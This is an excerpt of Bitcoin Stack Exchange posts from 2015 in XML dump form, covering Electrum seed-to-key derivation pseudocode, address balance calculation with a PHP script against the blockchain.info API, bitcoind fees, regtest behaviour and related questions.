  <row Id="37180" PostTypeId="2" ParentId="37176" CreationDate="2015-04-30T13:52:56.673" Score="5" Body="&lt;p&gt;Wallets created by Electrum 1.x have seeds containing 12 words (24 words is also possible for &lt;a href=&quot;https://github.com/spesmilo/electrum/pull/1087&quot; rel=&quot;nofollow&quot;&gt;custom-created seeds&lt;/a&gt;). Given a zero-based array of seed_words of that length, this pseudocode calculates the master_private_key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i = 0&#xA;while i &amp;lt; length(seed_words):&#xA;    # convert each word into an int in the range [0,1625]&#xA;    # based on the word's position in the sorted word list&#xA;    seed_ints[i] = lookup_seed_word(seed_words[i])&#xA;    i = i + 1&#xA;&#xA;num_words  = 1626&#xA;num_words2 = num_words * num_words&#xA;seed_hex_str = &quot;&quot;&#xA;i = 0&#xA;while i &amp;lt; length(seed_words):&#xA;    # (hex8 converts an int into an ASCII string of&#xA;    # exactly 8 zero-padded lowercase hex digits;&#xA;    # % is the integer remainder operator&#xA;    seed_hex_str = seed_hex_str + hex8( seed_ints[i    ]&#xA;                    + num_words  * (   (seed_ints[i + 1] - seed_ints[i    ]) % num_words )&#xA;                    + num_words2 * (   (seed_ints[i + 2] - seed_ints[i + 1]) % num_words ))&#xA;    i = i + 3&#xA;&#xA;unstretched_seed = ascii_string_to_byte_array(seed_hex_str)&#xA;seed = byte_array()  # an empty byte array&#xA;i = 0&#xA;while i &amp;lt; 100000:&#xA;    # sha256 operates on and produces byte arrays&#xA;    seed = sha256(seed + unstretched_seed)&#xA;    i = i + 1&#xA;&#xA;master_private_key = byte_array_to_int(seed, order=big_endian)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case you're wondering, it seems that the reason the seed_ints calculation looks overly complex may be to avoid &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/1b6abf6e028cbabd5e125784cff6d4ada665e722/lib/old_mnemonic.py#L1657-L1658&quot; rel=&quot;nofollow&quot;&gt;infringing on a patent&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, wallets created by Electrum 2.x typically have seeds containing 13 words, however they will on occasion have fewer. (It's technically possible to construct seeds of nearly any length which will be accepted when restoring an Electrum 2.x wallet.) Here's the pseudocode which calculates a BIP-32 extended master private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Electrum 2.x doesn't separate mnemonic words with spaces in sentences for any CJK&#xA;# scripts when calculating the checksum or deriving a binary seed (even though this&#xA;# seems inappropriate for some CJK scripts such as Hiragana as used by the ja wordlist)&#xA;if language is CJK:&#xA;    space = &quot;&quot;&#xA;else:&#xA;    space = &quot; &quot;&#xA;&#xA;seed_phrase = &quot;&quot;&#xA;i = 0&#xA;do:&#xA;    word = seed_words[i]&#xA;    normalize_unicode(word, normalization=nfkd)&#xA;    remove_unicode_combining_marks(word)  # e.g. accent marks&#xA;    seed_phrase = seed_phrase + word&#xA;    i = i + 1&#xA;    if i ≥ length(seed_words):&#xA;        exit-loop&#xA;    seed_phrase = seed_phrase + space&#xA;&#xA;seed_utf8 = unicode_to_byte_array(seed_phrase, format=utf8)&#xA;&#xA;if hmac_sha512(key=&quot;Seed version&quot;, message=seed_utf8)[0] ≠ 1:&#xA;    fail(&quot;invalid checksum&quot;)&#xA;&#xA;stretched_seed = pbkdf2_hmac_sha512(password=seed_utf8, salt=&quot;electrum&quot;, iterations=2048, output_length=64)&#xA;seed_bytes = hmac_sha512(key=&quot;Bitcoin seed&quot;, message=stretched_seed)&#xA;&#xA;private_key        = byte_array_to_int(seed_bytes[0..31], order=big_endian)&#xA;chain_code_bytes   = seed_bytes[32..63]&#xA;master_private_key = create_bip32_extended_private_key(private_key, chain_code_bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP-39&lt;/a&gt;, an alternative derivation technique, is similar to Electrum 2.x but not identical.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-05-01T13:13:20.617" LastActivityDate="2015-05-01T13:13:20.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37181" PostTypeId="2" ParentId="24300" CreationDate="2015-04-30T15:04:05.610" Score="1" Body="&lt;p&gt;Even better, set JAVA_HOME to the JDK path instead of the JRE path if you have the Java Development Kit installed. Otherwise you will have to edit the variable whenever Java JRE updates.&lt;/p&gt;&#xA;" OwnerUserId="25294" LastActivityDate="2015-04-30T15:04:05.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37182" PostTypeId="1" CreationDate="2015-04-30T17:38:00.813" Score="4" ViewCount="1062" Body="&lt;p&gt;I'm running bitcoind for a service that works with quite small user withdraws most of the time.&#xA;Recently I noticed that instead of the standard 0.0001 tx fee from the recent past, it already charges up to 0.0008 for some transactions which I find expensive for this specific use case. (I read about that update to dynamic fees but then forgot about it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;getinfo gives &quot;paytxfee&quot; : 0.00000000&quot; by the way.&#xA;I haven't explicitly set the fee in bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if one doesn't want to take advantage of the dynamic fee but set a fixed one &#xA;- How is best to do it? Just &quot;bitcoin-cli settxfee 0.0001&quot; or in the .conf file? Would it actually be enforced or it will still disregard it in some cases?&#xA;- if it actually works to set it as fixed, how do you think that would affect the confirmation time? Will 0.0001 be fairly enough for the time being to get in the very next block?&lt;/p&gt;&#xA;" OwnerUserId="25296" LastActivityDate="2015-07-02T18:54:57.723" Title="Taking control of the dynamic bitcoind tx fee" Tags="|bitcoind|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37183" PostTypeId="1" AcceptedAnswerId="37186" CreationDate="2015-04-30T19:25:51.617" Score="5" ViewCount="6562" Body="&lt;p&gt;This is something which I think should be simple but it's driving me crazy. See for example this list of transactions associated with an address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ?format=json&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/address/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is simply arrive at the same total_received, total_sent and balance stats for the given data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An obvious requirement is to not count the &quot;change&quot; as a new payment to the address. My idea was to simply sum all the outputs in transactions whose inputs are not from the same target address, e.g. if a transaction has an input (or multiple inputs) from A and outputs to B and A, treat this output as change and don't include it in the sum -- only this doesn't produce the same sum as blockchain.info! In this case, it produces 158.11536395 vs 251.24164662. It looks like I'm missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step would be to take the list of outputs produced by the first step, and see which are spent and which are not. The sum of the unspent outputs is the current balance. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone?&lt;/p&gt;&#xA;" OwnerUserId="25298" LastEditorUserId="2306" LastEditDate="2015-04-30T20:15:30.197" LastActivityDate="2018-10-16T13:12:46.233" Title="Calculating &quot;total received&quot; and balance by an address" Tags="|transactions|blockchain|raw-transaction|balance|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37184" PostTypeId="1" CreationDate="2015-04-30T21:16:21.007" Score="2" ViewCount="676" Body="&lt;p&gt;Do I pay any taxes to purchase or sell bitcoin? If I use a Bitcoin debit card and withdraw USD from an ATM, is it a taxable event?  &lt;/p&gt;&#xA;" OwnerUserId="25300" LastActivityDate="2015-05-04T09:14:51.000" Title="what are my tax implications for cryptocurrency?" Tags="|taxes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37185" PostTypeId="2" ParentId="37183" CreationDate="2015-04-30T21:45:47.900" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The sum of the unspent outputs is the current balance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really, that's just the unspent outputs for a particular pubkeyhash. Balances don't exist in Bitcoin, it's extremely misleading to people to suggest that they do by using this terminology. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What I want to do is simply arrive at the same total_received, total_sent and balance stats for the given data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not a part of the network so it's not even defined what this term could possibly mean. The information displayed isn't consistent between the websites claiming to be able to show a &quot;total received&quot; for an address. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://insight.bitpay.com/address/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ&quot; rel=&quot;nofollow&quot;&gt;Insight says&lt;/a&gt; 521.29736505 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ?format=json&quot; rel=&quot;nofollow&quot;&gt;blockchain.info says&lt;/a&gt; 251.24164662 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://chain.so/address/BTC/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ&quot; rel=&quot;nofollow&quot;&gt;chain.so says&lt;/a&gt; 389.85919867 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://live.blockcypher.com/btc/address/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ/&quot; rel=&quot;nofollow&quot;&gt;blockcypher.com says&lt;/a&gt; 289.5535 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://webbtc.com/address/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ.json&quot; rel=&quot;nofollow&quot;&gt;webbtc.com says&lt;/a&gt; 521.29736505 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.chain.com/v2/bitcoin/addresses/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ?api-key-id=DEMO-4a5e1e4&quot; rel=&quot;nofollow&quot;&gt;Chain.com says&lt;/a&gt; 251.24164662 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockchains.io/multi/search/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ/&quot; rel=&quot;nofollow&quot;&gt;blockchains.io says&lt;/a&gt; 1042.59473010 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://helloblock.io/addresses/1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ&quot; rel=&quot;nofollow&quot;&gt;helloblock.io says&lt;/a&gt; 217.80681263 BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So who is right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better just not to confuse everyone by showing faulty data to begin with. Extrapolating this information out to people doesn't do any good, and if services are built using these sort of faulty assumptions about the behavior of the network it can be potentially disastrous and lead to loss of funds. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-30T22:12:42.710" LastActivityDate="2015-04-30T22:12:42.710" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37186" PostTypeId="2" ParentId="37183" CreationDate="2015-05-01T06:15:14.020" Score="3" Body="&lt;p&gt;As the other answer has noted, balances don't &lt;em&gt;technically&lt;/em&gt; exist for a specific address. This is because there may be many outputs that are addressed to an address you own, but you can only spend these outputs discretely (I.e. You can say deduct x from my account, you can only say deduct this output amount which was previously awarded to this address). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can define a pseudo-notion of a balance, though, let's call it the address' unlock-able value (UV), because the owner of the private key for that address can unlock some # of coins by knowing the private key for that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to calculate the UV balance, total received, and total sent of an address, you follow this pseudo-algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address a;&#xA;Uv = 0;&#xA;Received = 0;&#xA;Sent = 0;&#xA;For each (output in blockchain):&#xA;    If (output is unlock-able by owner of address a):&#xA;        Received += output.amount;&#xA;        If (output has been spent):&#xA;            Sent += output.amount;&#xA;        Else:&#xA;            Uv += output.amount;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the end of all the outputs in the blockchain, the Uv amount will have a value that is similar in concept to a balance. But here we can also see why this is a very tricky notion:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do you know if an output is unlock-able by owner of address? Sometimes only the key holder themselves can know. &lt;/li&gt;&#xA;&lt;li&gt;What if an output can be unlocked by, say, 1 of a set of 3 keys? Do you credit the balances of all three keys, or none? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect the way blockchain.info does this is by basically running the above pseudo algorithm (although much more optimized and using a database), but only considering outputs in the Pay-to-Pubkey-Hash format. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alright, through contacting the blockchain.info support team and some testing I've found that the problem was the API link given in the question is both paginated and rate limited. The following PHP code produces the same values that blockchain.info shows on their site, assuming you don't run into rate limiting problems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Method: POST, PUT, GET etc&#xA;// Data: array(&quot;param&quot; =&amp;gt; &quot;value&quot;) ==&amp;gt; index.php?param=value&#xA;&#xA;function CallAPI($method, $url, $data = false)&#xA;{&#xA;    $curl = curl_init();&#xA;&#xA;    switch ($method)&#xA;    {&#xA;        case &quot;POST&quot;:&#xA;            curl_setopt($curl, CURLOPT_POST, 1);&#xA;&#xA;            if ($data)&#xA;                curl_setopt($curl, CURLOPT_POSTFIELDS, $data);&#xA;            break;&#xA;        case &quot;PUT&quot;:&#xA;            curl_setopt($curl, CURLOPT_PUT, 1);&#xA;            break;&#xA;        default:&#xA;            if ($data)&#xA;                $url = sprintf(&quot;%s?%s&quot;, $url, http_build_query($data));&#xA;    }&#xA;&#xA;    // Optional Authentication:&#xA;    curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);&#xA;    // curl_setopt($curl, CURLOPT_USERPWD, &quot;username:password&quot;);&#xA;&#xA;    curl_setopt($curl, CURLOPT_URL, $url);&#xA;    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);&#xA;&#xA;    $result = curl_exec($curl);&#xA;&#xA;    curl_close($curl);&#xA;&#xA;    return $result;&#xA;}&#xA;&#xA;$address = &quot;1EZK42jGEJVniyBn1wXrUx92wzyUkYB8kJ&quot;;&#xA;$offset=0;&#xA;$txs = array();&#xA;&#xA;while (true)&#xA;{&#xA;    $val = json_decode(CallAPI(&quot;GET&quot;, &quot;https://blockchain.info/address/$address?format=json&amp;amp;limit=10&amp;amp;offset=$offset&quot;), true);&#xA;    if (count($val[&quot;txs&quot;]) == 0)&#xA;        break;&#xA;    else &#xA;        $txs = array_merge($txs, $val[&quot;txs&quot;]);&#xA;&#xA;    $offset += 10;&#xA;}&#xA;&#xA;$uv       = 0;&#xA;$received = 0;&#xA;$sent     = 0;&#xA;$nrefs    = 0;&#xA;&#xA;foreach ($txs as $tx)&#xA;{   &#xA;    $ininputs = false;&#xA;    $totalin = 0;&#xA;    foreach ($tx[&quot;inputs&quot;] as $input)&#xA;    {&#xA;        if ($input[&quot;prev_out&quot;][&quot;addr&quot;] == $address)&#xA;        {&#xA;            $ininputs = true;&#xA;            $nrefs += 1;&#xA;            $totalin += $input[&quot;prev_out&quot;][&quot;value&quot;];&#xA;        }&#xA;    }&#xA;&#xA;    $inoutputs = false;&#xA;    $totalout = 0;&#xA;    foreach ($tx[&quot;out&quot;] as $output)&#xA;    {&#xA;        if ($output[&quot;addr&quot;] == $address)&#xA;        {&#xA;            $inoutputs = true;&#xA;            $nrefs += 1;&#xA;            $totalout += $output[&quot;value&quot;];&#xA;        }&#xA;    }&#xA;&#xA;    $uv       += ($totalout - $totalin);&#xA;&#xA;    // $received += $totalout;&#xA;    // $sent     += $totalin;&#xA;&#xA;    if ($ininputs &amp;amp;&amp;amp; $inoutputs &amp;amp;&amp;amp; $totalout &amp;gt;= $totalin)&#xA;    {&#xA;        $received += $totalout - $totalin;&#xA;    }&#xA;    else if ($ininputs &amp;amp;&amp;amp; $inoutputs &amp;amp;&amp;amp; $totalout &amp;lt; $totalin)&#xA;    {&#xA;        $sent += $totalin - $totalout;&#xA;    }&#xA;    else if ($inoutputs)&#xA;    {&#xA;        $received += $totalout;&#xA;    }&#xA;    else if ($ininputs)&#xA;    {&#xA;        $sent += $totalin;&#xA;    }&#xA;}&#xA;echo &quot;\n&quot;;&#xA;&#xA;echo &quot;nrefs    : &quot; . $nrefs . &quot;\n&quot;;&#xA;echo &quot;uv       : &quot; . $uv . &quot;\n&quot;;&#xA;echo &quot;received : &quot; . $received . &quot;\n&quot;;&#xA;echo &quot;sent     : &quot; . $sent . &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nycDz.png&quot; alt=&quot;Result of running program&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ok1jm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-05-05T15:32:06.710" LastActivityDate="2015-05-05T15:32:06.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37188" PostTypeId="1" AcceptedAnswerId="37196" CreationDate="2015-05-01T16:14:31.177" Score="3" ViewCount="156" Body="&lt;p&gt;I have found that there are some strange outputs in the Litecoin blockchain that pay small amounts to the scriptPubKey &lt;code&gt;736372697074&lt;/code&gt;. In ASCII, this translates to &quot;script&quot;, reminding me of how nodes used to advertise support for P2SH by putting the string &quot;/P2SH/&quot; within a mined blocks coinbase's scriptSig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outputs have very small amounts, although they are unspendable since the 'p' ASCII character happens to correspond to OP_RETURN, and seem to show up in blocks between (roughly) blocks 81,374 and 114,829. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are these outputs?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-09T02:43:39.423" Title="What are these strange outputs in the Litecoin blockchain?" Tags="|litecoin|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37189" PostTypeId="1" AcceptedAnswerId="37197" CreationDate="2015-05-01T16:31:49.140" Score="1" ViewCount="2330" Body="&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting this error in &lt;strong&gt;regtest&lt;/strong&gt; mode after &lt;code&gt;setgenerate&lt;/code&gt; RPC:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR: CheckProofOfWork() : hash doesn't match nBits&lt;br/&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After looking for error text in src I found a match in &lt;code&gt;pow.cpp&lt;/code&gt; (obviously standing for proof of work) with following extract from code: &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check proof of work matches claimed amount&#xA;if (hash &amp;gt; bnTarget)&#xA;     return error(&quot;CheckProofOfWork() : hash doesn't match nBits&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does it mean there's a target in regtest?If yes, isn't it contradicting to difficulty being 0?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-15T20:00:06.647" Title="Generating blocks in regtest: &quot;hash doesn't match nBits&quot;" Tags="|error|proof-of-work|difficulty|regtest|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37190" PostTypeId="1" AcceptedAnswerId="37194" CreationDate="2015-05-01T17:15:11.837" Score="1" ViewCount="205" Body="&lt;p&gt;&lt;br/&gt;&#xA;I'm running 2 bitcoind servers on the same machine, called node0 and node1.&lt;br/&gt;&#xA;In the following I'm listing steps I take and results I get and I'm wondering &lt;strong&gt;what is causing one node nullifying other node's balance by block generation?&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Started two independent (by independent configuration files) servers&lt;/li&gt;&#xA;&lt;li&gt;node0 generates 101 blocks&lt;/li&gt;&#xA;&lt;li&gt;node1 generates 101 blocks&lt;/li&gt;&#xA;&lt;li&gt;each node has a balance of 50 BTC&lt;/li&gt;&#xA;&lt;li&gt;connected them by adding one by the other node via &quot;addnode &quot;localhost:port&quot; add&quot;&lt;/li&gt;&#xA;&lt;li&gt;version messages are exchanged&lt;/li&gt;&#xA;&lt;li&gt;getconnectioncount returns &quot;1&quot; on behalf of each node&lt;/li&gt;&#xA;&lt;li&gt;node0 generates 1 block&lt;/li&gt;&#xA;&lt;li&gt;node0: getbalance: 100 BTC&lt;/li&gt;&#xA;&lt;li&gt;node1: getbalance: 0 BTC&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;...trying to figure out what's happening...&lt;br/&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;11&quot;&gt;&#xA;&lt;li&gt;node1 generates 1 block&lt;/li&gt;&#xA;&lt;li&gt;node1: getbalance: 0 BTC&lt;/li&gt;&#xA;&lt;li&gt;node0: getbalance 150 BTC&lt;/li&gt;&#xA;&lt;li&gt;node1 generates 100 blocks&lt;/li&gt;&#xA;&lt;li&gt;node1: getbalance: 50 BTC&lt;/li&gt;&#xA;&lt;li&gt;node0: getbalance: 5100 BTC&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I guess this problem has to do with an error I get after generation of blocks - see my corresponding question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37189/generating-blocks-in-regtest-hash-doesnt-match-nbits&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or is it because of the settled connection which causes a conflict on which blockchain to work on and thus abandonning one node's blockchain - in this case, abandonning node1's blockchain?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-05-01T20:22:04.460" Title="Regtest: One node nullifying other node's balance" Tags="|blockchain|block|balance|peers|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37191" PostTypeId="1" CreationDate="2015-05-01T18:30:09.420" Score="3" ViewCount="427" Body="&lt;p&gt;What are &lt;strong&gt;reliable and good sources for understanding the procedure of transaction inclusion into a block?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem outline:&lt;/strong&gt;&lt;br&gt;&#xA;Given, there are multiple peers - let's say 5 - in a test network, where 3 nodes exchange transactions - let's say 100 - and 2 nodes include all transactions into blocks.&lt;br/&gt;&#xA;&lt;strong&gt;Which node decides how to include which transaction into which block?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="5406" LastEditDate="2017-09-02T18:08:49.963" LastActivityDate="2017-09-02T18:08:49.963" Title="Transaction inclusion into block" Tags="|transaction-selection|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37192" PostTypeId="1" AcceptedAnswerId="37542" CreationDate="2015-05-01T18:31:14.177" Score="0" ViewCount="122" Body="&lt;p&gt;I'm still trying to figure out how the multigateway exchange works for nxt. i see you can put your bitcoins and other altcoins into the system and trade on top of the asset exchange using the nxt wallet creating a decentralized exchange. my concerns are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do my bitcoins / altcoins goto a centralized wallet like how typical exchanges work today?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Who controls the coin wallets and what if they need to be rebooted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What prevents the multigateway admins from running away with our coins?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are some major advantages to over typical exchanges today like cryptsy / poloniex / bter?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-23T06:58:42.340" Title="How does the SuperNet NXT Multigateway Exchange work?" Tags="|nxt|multigateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37193" PostTypeId="1" CreationDate="2015-05-01T19:13:40.300" Score="1" ViewCount="228" Body="&lt;p&gt;Is there any way for users to specify the number of confirmations for a transaction?&#xA;If not, how many confirmations does Multibit require to complete a transaction?&#xA;And does the required default number of confirmations vary by size of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="25306" LastEditorUserId="5406" LastEditDate="2015-05-04T13:51:21.917" LastActivityDate="2015-05-04T13:51:21.917" Title="Can one set how many confirmations MultiBit requires for a transaction to be accepted?" Tags="|multibit|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37194" PostTypeId="2" ParentId="37190" CreationDate="2015-05-01T20:22:04.460" Score="4" Body="&lt;p&gt;You only see the balance of blocks that have at least another 100 on top. This is because coinbase outputs only become spendable after 101 confirmations (the maturity period).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the nodes reconnect, and one block is mined by node0, node1's previous chain is reorganized away, and from that point on, both nodes work on the same chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever a new block is mined, the balance of the node who mined the block 100 before that is increased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has nothing to do with the nBits bug. This is an actual bug in the software which is being fixed now, but it does not affect you.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-05-01T20:22:04.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37195" PostTypeId="2" ParentId="37191" CreationDate="2015-05-01T20:44:22.343" Score="2" Body="&lt;p&gt;Every node maintains a memory pool of transactions that are not yet accepted into the block chain, but they consider acceptable. The rules for this acceptability are complicated (they must be valid, they must not spend any coins already spent in the chain or by anything already in the mempool, various limitations to prevent denial of service attacks, fee and priority limitations, rate limits, ...). Any time a miner creates a new block, they generally use all available transactions from their mempool, constrained by block size limitations (so some transactions may not make it into one block, but could make it into the next one).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-05-01T20:44:22.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37196" PostTypeId="2" ParentId="37188" CreationDate="2015-05-01T23:42:21.530" Score="4" Body="&lt;p&gt;Those are from an early version of P2Pool, which mistakenly sent outputs to the literal string &quot;script&quot; rather than the variable &lt;code&gt;script&lt;/code&gt;. This was naturally fixed, but left lying around are a number of these outputs. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-05-09T02:43:39.423" LastActivityDate="2015-05-09T02:43:39.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37197" PostTypeId="2" ParentId="37189" CreationDate="2015-05-02T09:06:45.143" Score="2" Body="&lt;p&gt;The regtest difficulty is not 0. It is around 0.0000000005 initially (corresponding to 1 hash in 2 being valid), and retargets the same way that the main network does, every 2016 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that you see this error is a bug though, which will probably be fixed in Bitcoin Core 0.11.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-05-03T08:45:05.857" LastActivityDate="2015-05-03T08:45:05.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37200" PostTypeId="2" ParentId="37193" CreationDate="2015-05-02T10:50:06.343" Score="1" Body="&lt;p&gt;From your side, an outgoing transaction are completed the moment you send it. However, it's up the receiving party to decide how many confirmations they require before they consider it received. The usual rule is 3 confirmations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never used Multibit, so in regards to incoming transactions, I have no idea. &lt;/p&gt;&#xA;" OwnerUserId="25213" LastActivityDate="2015-05-02T10:50:06.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
